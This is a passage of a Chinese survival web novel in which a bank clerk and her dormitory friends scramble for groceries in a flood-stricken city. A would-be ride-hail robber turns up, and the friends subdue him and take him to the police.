虽然能量饼干做得并不难吃，但连着吃了半个多月，学生们现 在都很讨厌它的味道。 早上大家看到食堂窗口摆出那么多能量饼干，有些学生感觉天都要塌了。 秦小薇低头看了眼桌上的胡萝卜丝炒虾仁，毫不心虚地在群里回了一句：能量饼干+1。 【秦小薇：饭饭，市区有好几家超市都开门营业了，我中午去看了，食物种类应该挺齐全的，就是东西有点少，得早起去抢，你家里人要是有空的话可以去抢点菜。】 【范槿：我爸上午去了，鞋子都被挤掉了，就抢到了两个苹果。】 看到范槿的回复，秦小薇皱了皱眉，战况这么激烈？ 她明天卡着点冲进去，按照她的身手，应该能抢到蔬菜的……吧？ 吃完晚饭，秦小薇又在群里和室友们插科打诨聊了一会。 十点的时候，她进空间跑了一个小时的步，出来洗完澡刚好赶在十一点半之前上床睡觉。 她以前都是出门跑步的，但宁市的电力还没恢复，路上连个路灯都没有，秦小薇不想放下锻炼的习惯，只能在空间里跑步。 宁市几家供应新鲜食物的大型超市都是早上七点开门，为了赶在开门前到超市，秦小薇特地定了个六点的闹钟，连早饭都没吃，就出发了，但到地方后，她依旧被超市门口排着的长队惊呆了。 排队买菜的队伍几乎占据了整条街，最前面甚至有人正在收帐篷…… 秦小薇：“……”竟然有人昨天晚上就来了？买个菜而已，也太拼了吧！ 她拿出手机看了下时间，六点三十七，离上班还有一段时间，来都来了，排着吧！ 她锁了车，默默走到队伍最后面站着，一边啃面包一边排队。 七点整的时候，秦小薇身后的队伍已经蔓延到另一条街上了，超市的卷闸门卡着点从里面打开了，见门开了，外面排队的普通市民就像是闻到了血腥味的鲨鱼，根本顾不得排队，蜂拥着就朝超市里跑，门口的保安拦都拦不住。 眼看着后面有人超过她了，秦小薇心中着急，她担心自己抢不到菜，白跑一趟，便用出最快的速度，努力超过前面的人，朝着超市大门跑去。 这家超市和她昨天去的不是同一家，但因为是连锁超市，布局都差不多，秦小薇越过入口处的生活用品区，直奔生鲜区。 就她从街上冲进来这几分钟的时间里，食品区刚摆满的货架就已经空了三分之一，秦小薇路过货架的时候随手抓了一桶薯片，一秒都不敢停留，继续往前冲。 生鲜区所有的商品都是提前打包好的，不能挑选，蔬菜水果每人只能拿两袋，肉类一人只能拿一袋，结账的时候要刷身份证，多拿的会被收银员收走。 抢东西的人实在是太多了，秦小薇原本还想搭配着来，多选几样，丰富一下自己的餐桌，但货架前挤着的人太多了，她只能挤进人群中，胡乱抢了两包菜，为了争夺其中一包菜的主权，她的手臂还被一个大妈挠了一下。 等菜到手了，她看到卖肉的地方还有货，又冲过去，抢了半斤牛肉。 之后秦小薇又凭借自己灵活的身姿和大力气抢了半斤干海带，半斤香菇，一斤核桃，一袋大米和一袋红薯粉条。 她赶着去上班，没和其他人一样，在超市的各个货架转悠“捡漏”，东西拿得差不多了，她就直奔收银台。 中途，秦小薇还灵活地避开了一个想抢她菜的男人。 毕竟她拿的这些东西还没付钱，有些没素质的人就默认东西没付钱之前谁抢到就是谁的，还有人自己抢不到东西，就专门盯着人家的购物车和篮子，趁他们不注意的时候偷拿里面的东西…… 结账的时候，秦小薇发现收银台边上的巧克力和口香糖还没卖完，直接连盒子端了。 主打的就是一个看到有什么吃的没卖完就立马搂进自己怀里…… 实在是大家抢东西的时候太疯狂了，让她有种现在不买，以后就买不到了的错觉。 因为大米和红薯粉条都属于主食，每人只能买一样，买多了条码刷不出来，结账的时候，收银员让她二选一，秦小薇犹豫了一下，开口道：“我要红薯粉条。” 大米她家还剩不少，应该能撑到物资供应恢复…… 她的话音刚落，身后就伸过来一只手，抢走了她面前那袋大米。 她身后的大妈飞快把那袋三斤重的大米塞进自己的篮子里：“我忘记买米了，这袋给我吧！” 收银员对于这种事早已见怪不怪，见此什么也没说，只继续给秦小薇结账。 提着袋子出了收银台，秦小薇才稍微松了口气，今天超市里的人，比她上次去批发市场的时候还要疯狂…… 不过想想也能理解，有些市民已经快一个月没吃到新鲜的肉菜了，现在整个宁市，就只有六家大型超市在营业，不积极点就只能回去啃能量饼干或是在外面碰运气买高价菜。 她回头看了一眼，能量饼干的货柜摆在超市最显眼的地方，不过并没有多少人关注，被周围的氛围带动，所有人进超市后，都是直奔食品区和生鲜区而去。 出了超市后，秦小薇清点了一下今天的战利品，蔬菜她抢到了一袋小米椒和半棵包菜，两样加起来两斤多一点，巧克力和口香糖都是十几条，加上牛肉、干海带、干香菇和红薯粉条，也装了一大袋子。 和范槿的爸爸昨天只抢到了一袋苹果的战绩相比，她今天的收获其实很不错了。 要是她排在前面，动作再快点，其实她能抢到更多的东西…… 超市门口的人络绎不绝，不断有人从远处赶过来买菜，连路都被堵住了，秦小薇花了好一会才离开这片区域。 因为去了趟超市，她今天上班迟了二十几分钟，经理看到她手上提着的东西，非常不高兴，还说了她几句。 秦小薇当作没听到，左耳朵进右耳朵出，等他训完了，就提着自己的战利品去了更衣室，担心牛肉放到晚上会不新鲜，她还借着柜门的遮掩把牛肉转移进仓库里保鲜。 知道城区的超市可以买到新鲜蔬菜后，今天好几个同事都去抢菜了，也都来晚了，不过他们的战绩都没有秦小薇“辉煌”，最惨的那个，只抢到了一袋碎了一半的鸡蛋…… 上午的工作依旧繁忙，除了她已经去世的“师傅”，银行其余的员工都到岗了。 中午吃饭的时候，大家都在聊抢菜的事，宁市好几百万常住人口，现在就只有六家国营的大型超市在开门营业，虽然超市弄了限购，但人口太多，超市七点开门，不到八点货架上的东西就能被大家清空。 第35章 第35章网约车（双更合一）…… 昨天听那位同事说了他邻居一个人种菜供应一整栋楼的事,不少人都起了心思，想着把家里的阳台收拾出来，种点很快就能收的菜糊弄过这段时间。 毕竟全省都受灾了,蔬菜肉类什么时候能恢复正常供应,还真不好说！ 大家也不想天天啃能量饼干。 有同事昨天回家就开始动手了,连土都已经挖回来了，就差种子了…… 秦小薇的空间里倒是有花盆铲子这些工具,但种子就只有商店解锁的那六样,现在想买别的种子也不容易，她想了想,还是决定不跟风。 好像有点太麻烦了……有这时间她还不如多肝几张订单拿经验升级，黑土地下一级就解锁西红柿了。 等西红柿解锁之后，她就可以和胡萝卜轮换着吃,也没那么容易腻了。 白天给客户办理业务的时候,秦小薇听到了一个八卦，有个大妈凌晨四点就去超市门口排队了，她凭着多年抢打折菜的经验,赶在第一批冲进了超市，抢到了不少东西。 结果回家的路上,吃的被一个蒙着脸的男人抢走了,那个男的还把大妈的脑袋打出了血，后面还是好心的路人打了医院的电话，把大妈送进了急诊。 宁市的治安虽然和积水的时候相比好了一些,但出警速度依旧 很慢，加上现代社会人情冷漠，现在碰到这种事都没有正义的路人敢出手阻止…… 大妈现在躺在医院里等着做手术，银行卡有限额交不了手术费,她的家人这才来银行排队取钱…… 因为这个八卦，秦小薇下班的时候，特地找了个偏僻无人的地方把买到的菜收进空间里，才骑着自行车回家。 能低调点就低调点吧，她也不想平白无故惹麻烦！ 回家的时候，秦小薇发现公寓楼下她经常买早餐的那家便利店开张了，但是里面现在就只有一种食物——硬得可以当砖头砸人的能量饼干。 秦小薇：“……”怎么感觉到处都是能量饼干，工厂暴雨前究竟生产了多少啊？！ 晚饭照旧是她自己做的，她煎了鱼排，又炒了半颗包菜配大米饭。 之后几天，秦小薇的生活一直很规律，每天都是银行和公寓两点一线。 那半颗包菜，她两天就吃完了，至于那袋小米辣，则被她洗干净剪成小段冻在冰箱里，做饭需要它调味的时候就放几颗。 周四的早上，她原本想再去抢一次蔬菜，但看到超市门口那挤满了一整条街的人群，秦小薇果断放弃了。 之前大家还是自发地在超市门口排队，后来其他的省市因为排队问题出了几次事，市政就出动了持枪武警维持秩序，还专门拉了伸缩隔离带，让市民有序排队。 有武警维持秩序的情况下，秦小薇根本不能像上次一样，在开门的第一时间就冲进超市。 前面这么多人排队，等她买完东西结完账，估计得两三个小时，上班肯定要迟到！ 等周末去街上碰碰运气吧！看看能不能弄到一些不用排队的高价菜。 经过一周的努力，宁市的燃气供应已经恢复了，但水电供应只有发电厂附近的部分区域恢复了，秦小薇住的公寓离发电厂比较远，因此一直没有恢复供水供电。 想用干净的水，要么去超市排队抢矿泉水，要么去社区安排的送水车那接水，但秦小薇的上班时间和送水车的工作时间完全重合了，她每次回家的时候，水车都走了。 好在银行里有饮水机，她上班的时候包里带两个大杯子，每天从银行带两杯水回家，或者是早起去Q大接水，加上之前鱼缸里面存的水，勉强也还够用。 这一周银行的工作都很繁忙，每天都有很多市民过来取钱。 忙的好处是经理再也不催她推销理财产品了，坏处是她每天回家都累得不想动弹。 周五下班后，秦小薇和几个同事一起参加了她“师傅”的葬礼。 因为现在很多东西都买不到，灵堂布置得非常简单，连个花圈都没有，只简单布置了一些白布。 秦小薇随大流，和同事一样，给了三百块的白事礼金。 参加完告别仪式，宾客是要留下来吃饭的。 现在肉和菜不好买，白事的席面做得非常简单，桌上只有四个菜，四个菜里只有笋丝炒肉是荤的，其他的不是豆腐就是青菜，主食还是大家已经吃厌了的能量饼干。 吃饭的时候，秦小薇听到身边一个同事小声和其他人抱怨，说刘宏的老婆抠门，亲朋好友给了礼金来吊唁，她连顿饱饭都不准备…… 秦小薇也对这顿饭不太满意，十几个人吃四道菜，一人一筷子就没了，后面只能啃能量饼干充饥，但这毕竟是在人家的葬礼上，她也不好意思说什么。 吃完饭，众人就散了，秦小薇和众人道别后就骑车回了Q大，她想把行李箱拿回来，宿舍有件外套她打算周一穿。 宿舍楼道里的垃圾早就被清空了，空气中全是消毒药水的味道，非常刺鼻，秦小薇捂着鼻子，一口气上了十二楼。 三个室友都下班了，正在宿舍里开着台灯啃能量饼干。 看到范槿也在，秦小薇有些惊讶：“饭饭，你不是回家住了吗？” 范槿：“我妈一直催我找男朋友，家里又没什么好菜，我就回来了！” 秦小薇：“……” 她拿出行李箱，收拾了一些衣服，她桌上还放着几包能量饼干，是上周水还没退的时候学校发的，秦小薇想了想，把它们也塞进了行李箱。 这周工作太忙，她们几个在群里都没怎么聊天，现在秦小薇回来了，她们便聊起了宿舍楼的八卦，说到八卦，自然绕不开十二楼的“八卦生产者”裴欣。 肖琳琳：“薇薇，你知道吗？裴欣的孩子没打成。” 秦小薇有些诧异：“为什么？她和她男朋友复合了，又想要孩子了？” 肖琳琳：“不是！她应该没有复合的意思，听林晓晓说她这周都没回出租房，一直住在宿舍……是因为隔壁省爆发的杆状病毒，宁市很多医生都被调过去支援了，她去医院挂号，医生说她这不属于急诊手术，暂时做不了，让她回家等着。” 秦小薇知道隔壁省杆状病毒的事，据说是有个食品厂暴雨前仓库里的货没及时转移走，厂长舍不得那批泡过水的货就这么浪费了，把它们简单处理了一下就卖出去了，结果导致他们市不少人感染杆状病毒，上吐下泻，有些直接拉肚子脱水拉死了。 非常吓人。 那边病人太多，再加上有些医生也中招了、全市断水断电、医疗物资供应不足，情况一下子变得非常混乱，上面担心这种乱象会蔓延，直接从邻近的省份安排了医疗团队过去支援。 宁市因为离得比较近，派了不少医护人员过去。 没想到这会导致裴欣连人流手术都做不了…… 秦小薇：“那她有什么打算？她那肚子应该等不了多久吧？” 肖琳琳耸了耸肩：“不知道，晚上我回来的时候刚好碰到了林晓晓，说她下班一回来就看到裴欣在寝室哭，她觉得烦，和其他两个室友去酒店开房了……” 秦小薇要带回去的东西并不多，她很快就收拾完了，聊完了八卦，她隐约听到了一阵猫叫，想到她们之前救助的那只小奶猫，便问三个室友：“咪咪还在郑黄那吗？” 段霞点头：“救助中心现在不接收小动物了，郑黄说她想收养踏雪，等找到了房子就带着猫搬出去……养了大半个月，它现在性格特别活泼，已经不怕人了。” 秦小薇：“真的吗？我过去看看。” 她去隔壁看了看，就像段霞说的那样，原本害羞怕人的小奶猫现在胆子大了很多，在宿舍里爬上爬下，大半个月不见，它长大了很多，但依旧十分可爱，有人伸手摸它，它还会主动蹭人的手，非常亲人。 撸了会小奶猫，秦小薇就准备回宿舍拿行李箱回公寓了。 临走前，范槿忽然冲着她开口道：“薇薇，我爸天天去超市排队，已经总结了一套抢菜经验出来……明天是周末，咱们四个一起去趟超市，凭我们的身手，肯定能抢到东西！等买到肉了，我们去你家开荤怎么样？” 连着消耗了这么多天，秦小薇暴雨前囤在雪屋里的东西已经吃得差不多了，她现在吃的，都是黑土地、工坊还有鱼竿出产的东西，因为农场等级比较低，东西吃来吃去也就那么几样，她其实也有点想念超市琳琅满目的食品。 秦小薇：“行啊！咱们几点出发？” 范槿：“现在就去怎么样？还能占个好位置！” 宁市现在只有几家大型国营超市限量售卖物资，宁市人口太多，想抢到菜就得很早过去排队，有些还没复工的普通人，就干起了“代排队”“代抢购”的活。 有些特别拼的，甚至会带着帐篷在超市门口排一整夜的队…… 秦小薇：“要不咱们找个人帮我们排队吧？” 为了点吃的，熬个大夜好像不太值。 范槿：“可是现在找一个人排队要五百，咱们四个人，就是两千了……” 范槿觉得有点贵。 因为超市购物的时候要刷身份证，所以代排队的时候必须一个人换一个，否则后面的人会有意见，要是闹大了，还会被维持秩序的武警叉出队伍。 段霞：“我周末没事，可以去排队。” 秦小薇看了眼肖琳琳，她也是同样的意思，她们三个以往多有熬夜的习惯，对她们来说， 只要有手机有网，在宿舍熬夜还是在外面熬夜并没什么差别。 秦小薇想了想：“那你们三个去排队吧！我找人代排，等到了时间，我再去换他。” 她周末本来就打算去外面弄点高价菜，这五百就当是买菜花掉了吧！ 三人都不太理解她的想法，但见她坚持，她们也没再劝，但本着肥水不流外人田的想法，她们找的人是本专业的一个学妹，对方对这个价格很满意，毫不犹豫地答应了。 本着早去早占位子的原则，三人收拾了东西就和秦小薇一起下楼去找学妹了。 担心自己的手机续航不够，她们还和秦小薇借了她的大容量充电宝…… 虽然找了人代排队，但秦小薇还是定了个早上五点半的闹钟，提前出发去超市。 周末休息的人比较多，很多普通人对于美食的追求是刻在基因里的，连着吃了这么多顿能量饼干，大家都有些吃厌了。 因此今天来排队的人比周四早上还要多，维持秩序的武警也比周四多。 就算秦小薇知道范槿她们的位置，还是花了十几分钟才挤进去找到她们，可能是因为年轻、身体好，四人熬了个大夜，精神竟然还可以，除了……黑眼圈和眼袋有些明显。 秦小薇给学妹塞了两个包子：“学妹，这是给你带的早餐，我自己做的，别嫌弃……昨天晚上麻烦你了！” “没事！学姐，下次需要人排队再找我啊！” 范槿搭上了秦小薇的肩膀：“薇薇，只有学妹有早餐吗？我们没有吗？” 秦小薇打开自己的背包：“当然有！一人三个，胡萝卜牛肉粉丝馅的，尝尝我的手艺！给！” 楼下便利店不卖包子了，现在只能买到能量饼干，秦小薇便用家里的食材，自己包了些包子放在雪屋里，想吃的时候就用微波炉转一下。 因为牛肉只有半斤，她调馅料的时候，特地把牛肉切成了碎粒，放了很多粉丝和胡萝卜，这才包了几十个大包子。 范槿：“好吃！总算是尝到肉味了……咱们今天做这个吧！我可以一顿吃八个！” 段霞：“等抢到了菜你再说这句话吧！薇薇，你记一下我们的计划……待会儿我们进去以后两人一组，你和范槿，我和琳琳，一个人推车，一个人抢菜，优先抢包装食品，你们往左，我们往右……” “等都抢完了，咱们再集合，把每个人要付款的东西分一分，这个时候一定要警惕，购物车里的东西千万不能被其他人顺走了……” 针对今天的购物，她们昨晚就做了详细的计划，包括进去以后怎么用最快的速度拿到购物车、中途会路过什么货架、哪些地方可以捡漏等等，都做了详细的规划分析。 秦小薇都一一记下了。 吃完早饭后，她们又在外面站了将近半个小时，前方的队伍才开始缓慢地移动。 超市门口绑着个大喇叭，提醒顾客有序排队、不要拥挤、不要跑动…… 所有人都很着急，但周围有持枪的武警盯着，他们也不敢做什么…… 之前隔壁市有个人为了减少竞争对手、后面的人晚点进超市，往人群中撒和真钱很像的玩具币，还大喊“捡钱了”，然后真有人停下来“捡钱”，造成了踩踏事件，死了好几个人。 当天查出事情的原委后，那个人就被抓走了，官方还发了新闻说会从重处理。 第二天很多超市就安排了武警维持秩序，有人不信邪，还是当着武警的面就挤开人群往前冲，然后一排黑洞洞的枪口就对准了他，还有个武警开枪警告了……虽然没伤到人，但也把大家吓得够呛。 当天很多家官媒都报道了这件事，很多网友都不满那个武警开枪的做法，但官方的态度却很强硬，还特意在超市的各个地方放显示屏宣传这件事，这事在网上闹得很大，到现在余波都还没过去……所以现在大家排队的时候都特别安分。 通过这件事，很多人都意识到了，现在和以前似乎不太一样了，真“不听话”，是有可能遇到“暴力执法”的。 范槿她们三个昨天来得还算早，但就算是这样，她们也等了五六分钟，才进了超市。 超市里是不准跑动的，尽管这样，大家的扫货速度却一点都不慢，看到货架上有什么东西就一个劲往自己购物车里塞。 秦小薇和范槿一队，按照她们昨晚制定的“扫货路线”开始抢东西。 超市的物品种类比秦小薇上次来的时候少了很多，特别是不限购的包装食品和零食，连之前的三分之一都没有，很多货架都是空着的，连价格牌都撤了。 新鲜的蔬菜肉类倒是比之前更多了，一个货架卖空了，立马就有售货员推着车过来补货，但是它们都限购，就算数量变多了，也不能多买。 它们的作用只是延长超市的营业时间，让更多市民抢到菜！ 范槿推着购物车和秦小薇飞快在超市里转了一圈，两人“战斗力”都很强，几乎把所有限购的东西都抢了一遍，不限购的也拿了不少，购物车都装了大半，秦小薇几乎是看到东西就往购物车里扔，甚至她自己都不知道她拿了些什么。 抢完了东西，两人到了约定的地点和段霞她们汇合，四人按照之前的计划，飞快把购物车里的东西分成了四份，才去结账。 结账的时候，四人也很警惕，两辆购物车一前一后，左右两边都站着一个人，生怕东西被人抢了。 结完了账，离开了这条街，她们也没有放松警惕，两人提着购物袋，另外两人走在两边，把走在中间的两人“保护”起来。 她们买了这么多东西，很有可能会被当成“肥羊”抢了，之前就有传言，说超市附近有一批人，专门盯着她们这种扫了很多货的“肥羊”抢。 她们运气不错，今天是周末，来超市排队采购的人格外的多，市政增派了不少人手巡逻，很多小偷小摸都不敢在警察眼皮子底下动手，她们这一路也没碰到什么危险。 秦小薇昨晚就花高价在网上约了一辆车，但这条路太堵了，四人又往前走了一条街，才看到她们约的车。 至于秦小薇骑过来的自行车，她打算晚点再过来取。 上车后，秦小薇才松了口气。 刚刚那一路可太紧张了，她都出了一身汗！ 司机师傅很健谈，上车后就主动和她们聊天：“小姑娘，你们很厉害啊！抢到了这么多东西！” 肖琳琳：“还行吧！有些东西包装比较大，看着分量比较多而已！” 司机：“小姑娘，别谦虚，上次我和我老婆去超市排队，两个人就抢到了一包青菜和一斤猪肉……” 秦小薇坐在后排，聊着聊着，她发现窗外的景色有些不对：“师傅，你是不是走错路了？刚刚那个路口应该左拐走建设路的……” 师傅冲着后视镜笑了笑：“建设路那边今天在修路，过不去，我从这边隧道绕过去，路程差不了多少。” 这条路是秦小薇上班的必经之路，走了几个月了，她非常熟悉。 况且，她早上就是从那边骑自行车过来的，那边有没有在修路她会不知道？ 她察觉到了不对，回了句“这样啊”，拿出手机，飞快编辑了一条报警短信发了出去，又在手机上面打了一行字，然后装作分享八卦的模样，把手机递到了两个室友面前。 至于最前排的肖琳琳，因为她离司机太近了，秦小薇怕惊动司机，没敢通知她，她还在笑呵呵地和司机聊天。 知道她们在平台上约的车可能是黑车之后，范槿和段霞都很震惊，但两人都努力绷住了，僵着一张脸继续和秦小薇说说笑笑。 秦小薇非常无语，以往看到的新闻都是一个人打车的时候出事，谁知道她们四个人一起打车，还会出事啊！ 车子开了一会，司机忽然开口道：“小姑娘，前面绕过去就到了，我先把订单发给你……你先给个好评行不行？” 说着，不等四人回答，他就在手机上结束了行程。 秦小薇和其余两人眼神交流了一下，还是把钱付了。 她们四对一，根本不怕他。 账单结束后，司机又拐了几条小路，车子越开越偏，就连坐在副驾驶上的肖琳琳都察觉到了不对，一连问了几句“什么时候到”，得到的回答都是敷衍的“马上”。 正在后排的三人犹豫着要不要动手时，车子忽然停了下来：“车子好像陷到坑里去了，小姑娘，你们下车帮忙推一下，要不然咱们就走不了了。” “啊？”肖琳琳震惊地看着司机，并没有下车。 这辆车不是正规的出租车，驾驶座和后座之间没有金属围栏挡着，坐在驾驶座正后方的段霞见他停车了，丝毫没有犹豫，用刚刚脱下的外套的袖子直接勒住了司机的脖子。 段霞表情凶狠：“说！你为什么要把我们带到这里来？还有没有别的同伙？” 脖子被勒住，司机的脸一下子涨得通红，说话都断断续续的：“我、我就是开、开个网、网约车……没、没想做什么。” 秦小薇担心段霞真的把人勒死了，拍了拍她的胳膊，示意她别那么用力。 秦小薇把卫衣帽子上的抽绳抽了大半出来，后面有一截抽不动了，她就直接从包里拿了把水果刀出来把抽绳割断了，她把绳子递给肖琳琳，让肖琳琳先把人捆上。 肖琳琳一边捆人一边震惊：“薇薇，你出门还带刀？” 等人捆好了，她又让段霞放开了司机，换成水果刀抵住他的脖子。 看到四人配合得这么默契，司机都快吓尿了，后面段霞一问，他就把什么都说了。 这个司机确实和她们想象中杀人埋尸、劫财劫色的黑车司机有点出入，但他也没想着干什么好事。 第36章 第36章医院（双更合一）…… 司机是想把她们骗下车,然后带着四人买的东西开车跑掉。 据说这方法还是他跟着群里一个网友学的，要是她们吃下这个“亏”，不报警,自然是“皆大欢喜”。 要是她们报警了,他也有后招,道歉赔款一条龙，现在警察们都在忙着追查暴雨涨水期间发生的杀人、伤人案,因为他就抢了几百块的东西,没对她们造成什么人身伤害，警察处理这类案子的态度大多比较“消极”。 像他这种情况,只要积极悔过，就会从轻处罚，最多罚点钱。 但那几大袋物资,转手就能帮他把罚款赔偿的钱赚回来,他还有得赚。 他算是在钻法律的漏洞。 秦小薇刚开始听到这个解释的时候还以为他在开玩笑，在她的印象里，抢劫不论数额大小,都是要坐牢的。 上网搜了下才知道，这个世界的某些法律条例和她穿越前不一样,抢劫的钱财要达到一定数额或是被抢劫者人身受到了伤害,法律才会重判。 按照司机的做法，他确实可以钻这个空子。 车子停下后，路边一直没有司机的“同伙”出现,肖琳琳和司机换了位置，把车子开离了原本的位置，也一直没有人和车追上来，四人这才相信司机的话。 肖琳琳停车后,看着副驾驶座上被绑住了手脚的司机直皱眉：“咱们现在怎么办？送警察局吗？” 抢了东西他都能钻法律的空子让自己没事，现在没抢成，送过去还有用吗？ 秦小薇低头看了眼自己的手机，她之前发出去的报警短信还没有收到回复。 这效率真的是…… 秦小薇想了想：“我们四个人一起坐车他都敢抢，动作这么熟练，他肯定不是第一次了，我们还是把他……” 后面的话她没说，却让司机浮想联翩。 见四个人八只眼睛都盯着他，范槿把拳头捏的“咯吱咯吱”响，段霞手上拿着之前勒过他脖子的外套袖管，似乎在盘算着要不要再勒他一次，脖子上还抵着一把刀…… 司机急得直冒汗：“我、我真的是第一次！我、我可以证明的，我手机里有聊天记录……我知道错了，你们放过我吧！” 肖琳琳翻出司机的手机，用他的指纹强行解锁了他的手机。 司机没有说谎，他确实是第一次干这事，至于他为什么第一次就敢抢四个人……因为他付费加了一个“教学群”，群里从挑选合适的下手对象到被抓了之后用什么话术减轻处罚，都有详细的教学。 看聊天记录，群里有不少人都用这套在抢了东西后逃脱了法律的处罚。 可能是因为看多了群友的成功案例，司机昨晚还在群里放下“豪言壮语”，说今天要干票大的。 看完聊天记录，几人都很气愤。 范槿：“什么人啊？竟然靠教这种事赚钱？！” 骂完了司机后，四人商量了一下，还是决定把他送去警察局，她们觉得，有这个聊天记录在，警察应该会重视这件事……不过，在把人送过去之前，四人的鞋底都“不小心”碰了司机几下。 范槿：“薇薇，你去超市买东西怎么还带刀啊？” 秦小薇：“我这周在银行上班，天天都能听到谁谁谁因为在超市买了东西被抢了来取钱，就多留了个心眼……” 要不是她在网上买的那些防身工具没发货，她还能带更多。 不过秦小薇觉得，在面对坏人这方面，她的反应还是不如段霞。 她刚刚出手勒人脖子的动作也太果断了！要是她，肯定还要再做一番心理建设，才敢动手…… 肖琳琳把司机的车子直接开到了公寓附近的派出所，直到他们到了派出所门口，秦小薇发出去的短信才收到回复。 秦小薇：“……” 就像司机说的那样，警察们忙着处理暴雨期间积压的案子，案子太多，每个人都忙得脚不沾地。暴雨期间，有些人是真的意外溺死的，还有些人的死亡则是人为…… 五个人在大厅里等了很久，才有值班的警察接待他们。 警察很重视四人提供的消息，做完笔录后，警察表示一定会从严处罚司机，付费群的事也会严查。 因为四人之前在路上碰到了网约车抢劫，担心她们再出事，做完笔录后，警察又让她们等了大半个小时，等执勤的警车回来，坐警车回去。 回到公寓后，范槿忍不住叹了口气：“宁市的治安什么时候才能恢复成暴雨前的水平啊？” 秦小薇：“估计要等到水电彻底恢复之后了，现在电力没恢复，没摄像头威慑，一些小偷小摸的就都冒出来了……” 秦小薇雨停的第一天被偷了几盒爆米花，这周三保安上班的时候她去找保安问了监控的事，对方却告诉她，四楼的监控暴雨前就坏了，一直没来得及修。 保安还提醒她，摄像头里面的电池只能续航半个月，现在楼里的监控都没用了，附近这几天出了不少小偷小摸的事，一直没抓到人，让她在家锁好门，注意安全。 肖琳琳：“行了，别说那些不开心的事了！咱们来清点战利品吧！” 在外面折腾了这么久，现在已经快中午了，该是吃午饭的时候了。 她们四个人，一共抢到了四袋肉，加起来一共两斤，分别是：猪排骨、羊肉、猪小肠和鸡块。 蔬菜八斤，主食十二斤，加在一起，够她们好好过完这个周末了。 除此之外，还有各种乱七八糟的包装零食。 要是整个宁市的超市和菜市场都开门供应物资，人人都能买到东西，就算搞限购，宁市的普通人也能生活得很好。 零食她们四个按照重量平分了，蔬菜肉类很难买，四人打算把不耐储存的先吃了，剩下的冻在秦小薇家的冰箱里，等有时间了再来她这开荤。 她们现在也意识到了，就算积水退了，物资供应一时半会也不能恢复，为了不顿顿吃能量饼干，物资得省着吃。 毕竟去超市抢一次东西是真的不容易！ 商量好今天的菜色后，几人就开始准备做饭了。 范槿：“薇薇，你们先把羊肉切了，我去送水车那接水回来洗菜！” 秦小薇：“好！” 过了一会，楼上 忽然传来一阵电钻钻墙的声音。 段霞：“薇薇，你家楼上有人装修吗？” 秦小薇：“不知道哎，我工作日白天都不在家……” 肖琳琳打开厨房的窗户朝外面看了看，忽然，她关掉窗户，转过身激动地冲着厨房其余两人招手。 她压低了声音激动道：“阿霞、薇薇，你们过来看！外面那个是不是上次宰我们的安装师傅？” “什么？”秦小薇放下手上的菜刀凑了过去。 果然，楼上有个绑着高空作业安全绳的中年男人正挂在空调外机下面用电钻打孔，正是上次讹她们的安装师傅之一。 肖琳琳：“薇薇，你楼上的邻居不会被讹吧？你有没有邻居的联系方式，要不要提醒他一下？” 秦小薇摇头：“没有，我和楼上的住户基本上不熟……咱们上次吵得那么厉害，他们在楼上应该听到了，还找跃能的师傅上门，应该是做好了心理准备的。” 毕竟和她的利益无关，秦小薇并不想多管闲事，上午经历的事就已经够惊心动魄了。 肖琳琳：“对了，上次那事过后，跃能的客服有没有再联系你？” 秦小薇摇头：“不但没有，他们还改了详情页的规则，现在送货和安装要另外收钱了。” 肖琳琳两人：“……” 肖琳琳：“薇薇，你同事那套设备没找他们安装吧？” 秦小薇：“没有，她和她家里人自己搞定了。” 肖琳琳：“那就好。” 范槿回来后，四人合作，很快做好了一顿中饭。 她们带回来的食材只用了四分之一，午饭有红烧肥肠、清炒芹菜和凉拌黄瓜，对范槿三人来说，算是她们这周吃的最丰盛的一顿了。 范槿她们三个昨天熬了个大夜，吃饱饭就开始犯困，秦小薇家楼上的电钻声实在是太吵了，她们没待太久，吃完饭就回宿舍楼了。 打算等明天再来秦小薇家“开荤”——菜太难抢了，带回来的菜她们决定省着点吃。 公寓楼里不少人都买了跃能的发电板，可能是因为师傅周末统一安装这片区域，一整个下午，楼上楼下的电钻声就没停过。 空间鱼缸里的水已经不剩多少了，趁着今天有空，下午秦小薇拿着水桶去社区的送水车那提了好几桶水，直到一直上下楼跑累了才停下来。 这周都在忙工作，秦小薇下午原本是想窝在沙发里打游戏的，但楼栋里电钻的声音吵得她完全没了打游戏的心思，后面干脆进了空间，在空间里刷了一下午下载好的电视剧。 她晚上懒得做晚饭，直接从仓库里拿了份草莓麦片当代餐。 晚上从空间里出来之后，秦小薇看到室友发过来的消息，才想起来，她昨晚借给室友的充电宝还没拿回来。 秦小薇想了想，决定回趟宿舍楼，把充电宝拿回来。 就当是饭后消食了。 因为学校食堂限量供应各种炒饭、面条，为了周末不啃能量饼干，肖琳琳她们睡到四点半就爬起来去食堂抢饭了，秦小薇到的时候，三个人都醒着。 范槿：“薇薇，你明天还去小吃街摆摊吗？要不要我们过去帮忙压阵？” 秦小薇摇头：“暂时不打算去了，我担心被抢了……” 范槿：“不去也好……今天的事太吓人了！我刚刚和我爸打电话，让他以后抢菜的时候注意点，一次不要抢太多东西，他以为我在嘲讽他，还骂了我一顿，唉，我爸真是不懂人间险恶！” 说着，她故作心痛地叹了口气。 段霞：“没事，饭饭，你不是说你爸每次都抢不到什么好东西吗？放心吧！那些抢劫的看不上他的……” 范槿捂住胸口，夸张道：“扎心了老铁！不过还好没让我爸听到，要不然他肯定会破防的嘿嘿嘿……” 秦小薇拿了充电宝，和室友聊了几句，就准备离开了，谁知她刚开门，走廊里就传来一阵凄厉的尖叫。 秦小薇吓了一跳，她握紧门把手，看向屋里几个室友：“外面出什么事了？” 范槿摇头：“不知道，出去看看。” 四人一起去了走廊上，学校现在就只有教学楼和办公楼在工作日的时候有发电机发电，宿舍楼还没恢复供电，天黑后，走廊上就黑漆漆的。 到了走廊上，声音更明显了，秦小薇开着手机手电筒，看到一个女生站在走廊上对着空气手舞足蹈，大喊：“你不要过来——” 秦小薇：？？？ 十二楼不少人都听到了外面的声音，纷纷出来查看情况，有人认出了那个手舞足蹈的女生，便试探着问道：“青青，你怎么了？” “跳舞”的女生听到熟悉的声音，立刻朝着那人跑去：“有鬼！有鬼啊！” 众人走近了一些，朝地上照了照，才看到女生刚刚站着的不远处趴着一个人，那人长发散乱地铺在地上，一动不动，更可怕的是，还有一道长长的血痕从她身下蔓延而出…… 秦小薇：！！！ 众人都被这一幕吓了一跳，刚刚吓得尖叫的女生更是指着地上的人大喊道：“就是她！我原本准备去楼下接水的，她忽然就爬出来抓住我的脚，吓死我了……” 